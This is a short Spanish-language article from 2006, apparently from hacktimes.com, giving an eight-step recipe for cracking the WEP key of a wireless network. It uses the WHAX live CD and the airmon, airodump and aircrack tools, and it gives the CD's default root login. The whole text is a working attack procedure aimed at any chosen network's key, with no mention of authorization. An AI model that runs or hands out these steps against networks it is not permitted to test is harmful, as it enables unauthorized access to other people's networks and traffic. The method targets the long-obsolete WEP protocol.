



Published on hacktimes.com (<http://www.hacktimes.com>)

## ROMPIENDO EL CIFRADO WEP EN 8 COMANDOS

By freed0m

Creado 15 Apr 2006 - 02:12

Existen múltiples manuales para romper la seguridad de las redes Wireless cuando se utiliza el protocolo WEP, en este caso, ajustamos el entorno a las siguientes condiciones, distribución livecd WHAX, portatil Dell Latitude D610. Dentro de la distribución tenemos todas las utilidades que vamos a necesitar.

Comenzamos.....

Introducimos el cdrom de WHAX.

Indicamos a la BIOS el inicio desde cdrom.

Tecleamos:

1. `linux load=ipw2200`

De esta forma se cargará el entorno necesario para hacer funcionar la tarjeta wifi.

...cuando se nos presenta la pantalla que nos habla de la configuración del entorno gráfico X, y nos indica la password del usuario root, indicamos:

```
login:root  
passwd:toor
```

y a continuación tecleamos..

2. `startx`

Una vez iniciado el entorno gráfico, si no carga correctamente las X, habrá que usar xconf, el entorno gráfico no es necesario, así que podríamos evitarnos este segundo paso e ir directamente al tercero.

Mediante el menú de navegación de WHAX, accedemos a una consola "Xterm" y tecleamos..

3. `airmon.sh start eth0`
4. `airodump eth0 pruebas 0 1`

(Apuntamos el nombre de la red (ESSID) y el canal (channel) a la que queremos acceder)

5. `iwconfig eth0 mode monitor channel (canal) essid (ssid)`
6. `airmon.sh start eth0 (canal)`
7. `airodump eth0 (ssid) (canal) 1`

En este momento comienza la captura de paquetes, cuanto mayor sea el número de IVS mayor la posibilidad de obtener la clave, en nuestro caso con 240.998 IVS se obtuvo en 6 segundos. Las recomendaciones son de 1.000.000 de IVS para una clave WEP de 104 bits.

Una vez capturado este tráfico...

8. `aircrack (ssid).ivs`

Y en un periodo breve de tiempo... nos mostrará la clave.

Existen diversos métodos para acelerar la captura de tráfico en concreto de los IVS, pero no los explicaremos aquí.

**Notas:** este procedimiento no está probado en situaciones distintas a las descritas en el documento.

El valor (ssid) ha de sustituirse por el nombre de la red wifi cuya clave se quiere obtener.

El valor (canal) se ha de sustituir por el canal de la red donde se quiere capturar el tráfico.

Enlaces relacionados:

[iwhax.net](http://iwhax.net) [1]

[Aircrack](#) [2]

Y ..la Web oficial de aircrack <http://www.cr0.net:8040/code/network/> de la que cuenta la leyenda que cuando se produce la alineación de los astros funciona, durante la realización de este artículo nunca se produjo.

---

**Source URL:**

<http://www.hacktimes.com/?q=node/33>

**Links:**

[1] <http://iwhax.net/>

[2] <http://packetstormsecurity.org/wireless/aircrack-2.4.tgz>